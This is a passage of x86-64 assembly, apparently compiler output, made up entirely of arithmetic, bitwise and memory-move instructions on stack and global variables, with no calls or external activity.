movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x66], al
lea rax, [rsp + 0xd598]
mov qword [rsp + 0xd5d8], rax
mov rax, qword [rsp + 0xd3d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcba0]
mov qword [rsp + 0xd5e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd5e0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xc290]
mov dword [rcx], eax
lea rax, [rsp + 0x6acc]
mov qword [rsp + 0xd5e8], rax
mov rax, qword [rsp + 0xd320]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xce70]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x89]
movsx ecx, byte [rsp + 0x10b]
add eax, ecx
mov rcx, qword [rsp + 0xcd10]
mov byte [rcx], al
movsx eax, word [rsp + 0x1588]
movsx ecx, word [rsp + 0x1654]
add eax, ecx
mov word [0x1402c7544], ax
mov rax, qword [0x1402c9150]
movzx eax, word [rax]
mov word [rsp + 0x1894], ax
movzx eax, word [rsp + 0x17cc]
movzx ecx, word [rsp + 0x1854]
add eax, ecx
mov word [rsp + 0x1538], ax
movzx eax, byte [rsp + 0x104]
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0xcaf8]
mov rcx, qword [rsp + 0xc4c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd2e0], rax
mov rax, qword [rsp + 0xc950]
mov rax, qword [rax]
mov qword [rsp + 0xd5f0], rax
mov rax, qword [rsp + 0xd5e8]
mov ecx, dword [rsp + 0x6bac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6b08], eax
mov rax, qword [rsp + 0xc4a8]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcf40]
mov dword [rcx], eax
movzx eax, word [rsp + 0x178c]
mov word [rsp + 0x1898], ax
mov rax, qword [rsp + 0xc5e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc600]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c74e4], ax
mov rax, qword [0x1402c92c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc828]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd580]
mov byte [rcx], al
mov rax, qword [rsp + 0xc000]
movzx eax, byte [rax]
mov byte [rsp + 0x11d], al
movzx eax, byte [rsp + 0x5c]
mov rcx, qword [rsp + 0xbb50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0xd338]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd558]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x17a4], ax
lea rax, [rsp + 0x6b90]
mov qword [rsp + 0xd5f8], rax
mov rax, qword [rsp + 0xc6e8]
mov rcx, qword [rsp + 0xcaa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc360], rax
mov rax, qword [rsp + 0xc550]
mov qword [rsp + 0xd600], rax
mov rax, qword [rsp + 0xc540]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc4b8]
mov qword [rsp + 0xd608], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd608]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x68ec], eax
movsx eax, byte [rsp + 0xa7]
movsx ecx, byte [rsp + 0x10b]
or eax, ecx
mov byte [0x1402c74ea], al
mov rax, qword [0x1402c9260]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70]
and eax, ecx
mov byte [rsp + 0x85], al
lea rax, [rsp + 0x1730]
mov qword [rsp + 0xd610], rax
mov rax, qword [rsp + 0xc208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x167c]
add eax, ecx
mov word [rsp + 0x17dc], ax
lea rax, [rsp + 0x60]
mov qword [rsp + 0xd618], rax
mov rax, qword [rsp + 0xc498]
mov rcx, qword [rsp + 0xcdf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6bfc], eax
mov rax, qword [rsp + 0xc7f0]
mov rcx, qword [rsp + 0xc888]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9c8], rax
mov rax, qword [rsp + 0xbbf8]
mov eax, dword [rax]
mov dword [rsp + 0x6c7c], eax
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbdc8], rax
movzx eax, word [rsp + 0x1584]
mov rcx, qword [rsp + 0xc800]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c92b0], ax
lea rax, [rsp + 0x15f0]
mov qword [rsp + 0xd620], rax
movsx eax, byte [rsp + 0x5f]
movsx ecx, byte [rsp + 0x86]
and eax, ecx
mov rcx, qword [rsp + 0xd618]
mov byte [rcx], al
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
mov word [rsp + 0x189c], ax
mov rax, qword [rsp + 0xca18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xac]
sub eax, ecx
mov byte [rsp + 0x104], al
mov rax, qword [rsp + 0xc4a0]
mov rcx, qword [rsp + 0xc920]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xce80], rax
lea rax, [rsp + 0x6b88]
mov qword [rsp + 0xd628], rax
mov rax, qword [rsp + 0xb9b0]
mov rcx, qword [rsp + 0xc7a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0c0], rax
mov rax, qword [rsp + 0xc748]
mov eax, dword [rax]
mov dword [rsp + 0x6c80], eax
mov rax, qword [rsp + 0xd028]
movzx eax, word [rax]
mov word [0x1402c941c], ax
movsx eax, byte [rsp + 0xba]
movsx ecx, byte [rsp + 0x89]
xor eax, ecx
mov rcx, qword [rsp + 0xd200]
mov byte [rcx], al
mov rax, qword [rsp + 0xca38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd398]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x77], al
lea rax, [rsp + 0x17d8]
mov qword [rsp + 0xd630], rax
movzx eax, byte [0x1402c90c5]
movzx ecx, byte [rsp + 0xd4]
or eax, ecx
mov byte [rsp + 0x54], al
lea rax, [rsp + 0x6ba4]
mov qword [rsp + 0xd638], rax
mov rax, qword [rsp + 0xc1b0]
mov rcx, qword [rsp + 0xd208]
mov qword [rsp + 0xd640], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd640]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xba88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xceb0]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbdf0], rax
mov rax, qword [rsp + 0xbf78]
mov eax, dword [rax]
mov dword [rsp + 0x6c84], eax
mov rax, qword [rsp + 0xd110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1894]
sub eax, ecx
mov word [0x1402c7548], ax
mov rax, qword [rsp + 0xbe58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xff]
add eax, ecx
mov rcx, qword [rsp + 0xc708]
mov byte [rcx], al
lea rax, [rsp + 0x113]
mov qword [rsp + 0xd648], rax
movsx eax, word [rsp + 0x188c]
movsx ecx, word [0x1402c91a0]
sub eax, ecx
mov rcx, qword [rsp + 0xbff0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0xc090]
mov ecx, dword [rsp + 0x6a20]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x699c], eax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc668]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd2a0], rax
mov eax, dword [rsp + 0x6b98]
mov dword [rsp + 0x6c88], eax
mov rax, qword [rsp + 0xcdd0]
mov rcx, qword [rsp + 0xc690]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1a0], rax
mov rax, qword [rsp + 0xcb40]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74d6]
and eax, ecx
mov rcx, qword [0x1402c93c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x15f8]
mov word [rsp + 0x18a0], ax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0xbe70]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcbf8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xac]
movzx ecx, byte [rsp + 0x9e]
or eax, ecx
mov byte [rsp + 0x9f], al
movzx eax, word [rsp + 0x181c]
mov word [rsp + 0x18a4], ax
mov rax, qword [rsp + 0xc7f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcad0]
mov qword [rsp + 0xd650], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd650]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6978], eax
lea rax, [0x1402c7490]
mov qword [rsp + 0xd658], rax
mov eax, dword [rsp + 0x6b54]
movzx ecx, al
mov eax, dword [rsp + 0x69d0]
shl eax, cl
mov dword [rsp + 0x6b28], eax
mov rax, qword [rsp + 0xc898]
mov rcx, qword [rsp + 0xc0e8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc508], rax
mov rax, qword [0x1402c9110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc5d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c9278], ax
movzx eax, word [rsp + 0x16d4]
mov word [rsp + 0x18a8], ax
movsx eax, word [rsp + 0x1750]
mov rcx, qword [rsp + 0xc350]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16b8], ax
lea rax, [rsp + 0x1578]
mov qword [rsp + 0xd660], rax
movzx eax, byte [rsp + 0x94]
movzx ecx, byte [rsp + 0xc2]
add eax, ecx
mov byte [rsp + 0xf5], al
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xd3a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc6d0]
mov qword [rsp + 0xd668], rax
mov rax, qword [rsp + 0xbdd8]
mov ecx, dword [rsp + 0x6c84]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcda0]
mov eax, dword [rax]
mov dword [rsp + 0x6c8c], eax
lea rax, [0x1402c74c0]
mov qword [0x1402c9420], rax
mov rax, qword [rsp + 0xcc90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc970]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1694], ax
lea rax, [rsp + 0x107]
mov qword [rsp + 0xd670], rax
movsx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0xc1e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10a], al
movzx eax, byte [rsp + 0xff]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6e], al
lea rax, [rsp + 0x68d4]
mov qword [rsp + 0xd678], rax
mov rax, qword [rsp + 0xd538]
mov rcx, qword [rsp + 0xd220]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b40], eax
lea rax, [rsp + 0xc370]
mov qword [rsp + 0xd680], rax
mov rax, qword [rsp + 0xcf80]
mov rcx, qword [rsp + 0xbee8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb10], rax
movzx eax, byte [rsp + 0x65]
movzx ecx, byte [rsp + 0x93]
sar eax, cl
mov rcx, qword [rsp + 0xd360]
mov byte [rcx], al
movsx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0xd478]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1402c74a6], al
lea rax, [rsp + 0x18a0]
mov qword [rsp + 0xd688], rax
movzx eax, word [rsp + 0x1554]
mov rcx, qword [rsp + 0xc5d8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xcb08]
mov word [rcx], ax
lea rax, [rsp + 0x17dc]
mov qword [rsp + 0xd690], rax
mov rax, qword [rsp + 0xce38]
mov ecx, dword [rsp + 0x68d4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6c74], eax
mov rax, qword [rsp + 0xc0b0]
mov rcx, qword [rsp + 0xbcc0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd458], rax
mov rax, qword [rsp + 0xc3f0]
mov rax, qword [rax]
mov qword [rsp + 0xd698], rax
mov rax, qword [rsp + 0xcbd0]
mov rcx, qword [rsp + 0xcd30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x68d8], eax
mov rax, qword [rsp + 0xcbf0]
movzx eax, word [rax]
mov word [rsp + 0x18ac], ax
lea rax, [rsp + 0xf9]
mov qword [0x1402c9428], rax
movzx eax, word [rsp + 0x1558]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1554], ax
movzx eax, byte [rsp + 0x104]
mov rcx, qword [rsp + 0xc248]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x112], al
movzx eax, word [rsp + 0x1684]
mov word [rsp + 0x18b0], ax
mov rax, qword [rsp + 0xcce8]
mov rcx, qword [rsp + 0xbcb0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd0f8], rax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xd6a0], rax
mov rax, qword [rsp + 0xc5d0]
mov ecx, dword [rsp + 0x6aa8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b30], eax
lea rax, [rsp + 0x6ad4]
mov qword [rsp + 0xd6a8], rax
mov rax, qword [rsp + 0xc528]
movsx eax, word [rax]
movsx ecx, word [0x1402c9370]
add eax, ecx
mov word [rsp + 0x1628], ax
lea rax, [rsp + 0x1584]
mov qword [0x1402c9430], rax
mov rax, qword [rsp + 0xd500]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov byte [rcx], al
mov rax, qword [rsp + 0xd228]
movzx eax, byte [rax]
mov byte [rsp + 0x11f], al
movsx eax, byte [rsp + 0xcf]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe9], al
lea rax, [rsp + 0x69bc]
mov qword [rsp + 0xd6b0], rax
mov rax, qword [rsp + 0xc3e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc5d0]
mov dword [rcx], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xc9c8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc650]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc258]
mov rax, qword [rax]
mov qword [rsp + 0xd6b8], rax
mov rax, qword [rsp + 0xc458]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c74b2]
add eax, ecx
mov byte [rsp + 0xf6], al
mov rax, qword [rsp + 0xd568]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1854]
cdq
idiv ecx
mov rcx, qword [0x1402c9188]
mov word [rcx], ax
lea rax, [rsp + 0xf1]
mov qword [rsp + 0xd6c0], rax
mov rax, qword [rsp + 0xd508]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1598]
xor eax, ecx
mov rcx, qword [rsp + 0xbca0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x93]
mov rcx, qword [rsp + 0xc708]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xca90]
mov byte [rcx], al
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov word [rsp + 0x18b4], ax
mov rax, qword [rsp + 0xc278]
mov rcx, qword [rsp + 0xbea0]
mov qword [rsp + 0xd6c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd6c8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc558], rax
mov eax, dword [rsp + 0x6998]
mov dword [rsp + 0x6c90], eax
mov rax, qword [rsp + 0xd080]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcc00]
shl rax, cl
mov rcx, qword [rsp + 0xc0d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
mov dword [rsp + 0x6c94], eax
mov rax, qword [rsp + 0xc2e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa4]
and eax, ecx
mov byte [0x1402c74b7], al
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x8e]
add eax, ecx
mov rcx, qword [rsp + 0xbc70]
mov byte [rcx], al
mov rax, qword [rsp + 0xcc30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc0b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc728]
mov word [rcx], ax
lea rax, [rsp + 0x1808]
mov qword [rsp + 0xd6d0], rax
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcec8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x118], al
mov rax, qword [rsp + 0xc840]
mov rax, qword [rax]
mov qword [rsp + 0xd6d8], rax
mov rax, qword [rsp + 0xc118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6a2c]
mov ecx, dword [rsp + 0x6c60]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc2c0]
mov dword [rcx], eax
lea rax, [rsp + 0xc168]
mov qword [rsp + 0xd6e0], rax
lea rax, [rsp + 0x186c]
mov qword [0x1402c9438], rax
movsx eax, byte [rsp + 0xe9]
movsx ecx, byte [rsp + 0xd2]
add eax, ecx
mov rcx, qword [rsp + 0xd3b0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc260]
movzx eax, word [rax]
mov word [rsp + 0x18b8], ax
mov rax, qword [rsp + 0xc1e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd240]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbf], al
movzx eax, byte [rsp + 0x68]
movzx ecx, byte [rsp + 0x7a]
sub eax, ecx
mov byte [rsp + 0xa3], al
lea rax, [0x1402c7490]
mov qword [rsp + 0xd6e8], rax
mov rax, qword [rsp + 0xd1d8]
mov rcx, qword [rsp + 0xd4d0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xce80], rax
mov rax, qword [rsp + 0xbe68]
mov eax, dword [rax]
mov dword [rsp + 0x6c98], eax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
cdq
idiv dword [0x1402c7498]
mov dword [rsp + 0x6a7c], eax
mov rax, qword [rsp + 0xd1a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1774]
sar eax, cl
mov word [0x1402c754c], ax
movsx eax, byte [rsp + 0xc0]
movsx ecx, byte [rsp + 0x10c]
or eax, ecx
mov byte [rsp + 0x62], al
lea rax, [0x1402c93c0]
mov qword [rsp + 0xd6f0], rax
mov rax, qword [rsp + 0xd588]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcdc0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x17cc], ax
lea rax, [rsp + 0xc2]
mov qword [rsp + 0xd6f8], rax
mov rax, qword [rsp + 0xc010]
mov ecx, dword [rsp + 0x695c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd3d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd108]
mov rax, qword [rax]
mov qword [rsp + 0xd700], rax
mov rax, qword [rsp + 0xc628]
mov ecx, dword [rsp + 0x6c88]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b4c], eax
mov rax, qword [rsp + 0xc950]
mov rcx, qword [rsp + 0xc0c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd1a0], rax
mov rax, qword [rsp + 0xc600]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15b8]
sub eax, ecx
mov rcx, qword [0x1402c90f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc618]
movzx eax, byte [rax]
mov byte [rsp + 0x120], al
movsx eax, byte [rsp + 0xb3]
mov rcx, qword [rsp + 0xc640]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcb88]
mov byte [rcx], al
movzx eax, word [rsp + 0x1634]
mov word [rsp + 0x18bc], ax
mov rax, qword [rsp + 0xd038]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x186c]
and eax, ecx
mov word [rsp + 0x16a8], ax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0d8], rax
lea rax, [rsp + 0x6b5c]
mov qword [rsp + 0xd708], rax
mov eax, dword [rsp + 0x6b4c]
mov ecx, dword [rsp + 0x68d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bdc], eax
mov rax, qword [rsp + 0xcf78]
mov qword [rsp + 0xd710], rax
mov rax, qword [rsp + 0xc458]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd020]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c90a7], al
movzx eax, word [rsp + 0x17bc]
movzx ecx, word [rsp + 0x1650]
sub eax, ecx
mov word [rsp + 0x1580], ax
movzx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0xd040]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0xc378]
movzx eax, word [rax]
mov word [rsp + 0x18c0], ax
mov rax, qword [rsp + 0xc0b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc490]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1840], ax
mov rax, qword [rsp + 0xbe28]
mov qword [rsp + 0xd718], rax
mov eax, dword [rsp + 0x6be8]
mov ecx, dword [rsp + 0x6c14]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b44], eax
lea rax, [rsp + 0x68b0]
mov qword [rsp + 0xd720], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xbe08]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xccd8], rax
movzx eax, byte [rsp + 0x119]
mov byte [0x1402c90da], al
movzx eax, byte [rsp + 0xdb]
mov rcx, qword [rsp + 0xca18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xab], al
mov rax, qword [0x1402c9230]
movzx eax, byte [rax]
mov byte [rsp + 0x121], al
movsx eax, word [rsp + 0x165c]
movsx ecx, word [rsp + 0x1740]
sub eax, ecx
mov word [rsp + 0x1688], ax
mov rax, qword [rsp + 0xc818]
movzx eax, byte [rax]
mov byte [rsp + 0x122], al
mov rax, qword [rsp + 0xbd38]
mov rcx, qword [rsp + 0xd188]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b60], eax
mov rax, qword [rsp + 0xd0d0]
mov rcx, qword [rsp + 0xc7b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcd50]
mov dword [rcx], eax
lea rax, [rsp + 0xc7a8]
mov qword [rsp + 0xd728], rax
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rsp + 0xc778]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8d0], rax
lea rax, [rsp + 0x1734]
mov qword [0x1402c9440], rax
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0x123], al
movzx eax, word [rsp + 0x17bc]
movzx ecx, word [rsp + 0x1784]
add eax, ecx
mov rcx, qword [rsp + 0xbf30]
mov word [rcx], ax
mov rax, qword [rsp + 0xc9a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc318]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
mov word [rsp + 0x18c4], ax
mov rax, qword [rsp + 0xc8f0]
mov rcx, qword [rsp + 0xcda8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd410]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb00]
mov eax, dword [rax]
mov dword [rsp + 0x6c9c], eax
mov rax, qword [rsp + 0xc1f8]
mov rcx, qword [rsp + 0xbd00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd0b8], rax
mov rax, qword [rsp + 0xc688]
mov rcx, qword [rsp + 0xc170]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xccb8], rax
movzx eax, word [rsp + 0x1718]
mov word [rsp + 0x18c8], ax
mov rax, qword [rsp + 0xc8d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9c]
shl eax, cl
mov byte [0x1402c74de], al
movzx eax, byte [0x1402c90a5]
mov rcx, qword [rsp + 0xca08]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xa9], al
movzx eax, word [rsp + 0x1854]
mov word [rsp + 0x18cc], ax
movsx eax, word [rsp + 0x1614]
movsx ecx, word [rsp + 0x1874]
or eax, ecx
mov word [rsp + 0x18a0], ax
mov rax, qword [rsp + 0xc850]
mov eax, dword [rax]
mov dword [rsp + 0x6ca0], eax
mov rax, qword [rsp + 0xc310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbee8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd210]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc5f8]
mov rcx, qword [rsp + 0xcb78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc258]
mov qword [rcx], rax
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x6ca4], eax
mov rax, qword [rsp + 0xc3b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x59], al
movzx eax, word [rsp + 0x1818]
movzx ecx, word [rsp + 0x162c]
sub eax, ecx
mov rcx, qword [0x1402c92a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xfe]
mov byte [rsp + 0x124], al
movsx eax, word [rsp + 0x1744]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1720], ax
movzx eax, word [rsp + 0x1540]
mov rcx, qword [rsp + 0xd590]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16dc], ax
mov rax, qword [rsp + 0xc460]
mov qword [rsp + 0xd730], rax
mov rax, qword [rsp + 0xc090]
mov rcx, qword [rsp + 0xce38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a8c], eax
mov eax, dword [rsp + 0x6b60]
mov dword [rsp + 0x6ca8], eax
mov rax, qword [rsp + 0xd208]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc370]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd2a8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc618]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc7d0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc708]
mov byte [rcx], al
mov rax, qword [rsp + 0xc590]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd7]
add eax, ecx
mov byte [0x1402c74eb], al
lea rax, [rsp + 0xba]
mov qword [rsp + 0xd738], rax
movsx eax, word [rsp + 0x1658]
mov rcx, qword [rsp + 0xc728]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcb30]
mov word [rcx], ax
lea rax, [rsp + 0x159c]
mov qword [rsp + 0xd740], rax
mov rax, qword [rsp + 0xd250]
mov rcx, qword [rsp + 0xcf60]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xd0a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc5a0]
mov rcx, qword [rsp + 0xbf98]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc5a0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6b48]
mov dword [rsp + 0x6cac], eax
mov rax, qword [rsp + 0xc4a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcba0]
mov qword [rsp + 0xd748], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd748]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6bbc], eax
mov rax, qword [rsp + 0xd570]
movzx eax, word [rax]
mov word [rsp + 0x18d0], ax
lea rax, [rsp + 0xf2]
mov qword [0x1402c9448], rax
movsx eax, word [0x1402c74d0]
movsx ecx, word [rsp + 0x156c]
sub eax, ecx
mov word [rsp + 0x15f4], ax
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0x125], al
movsx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0xcad8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9b], al
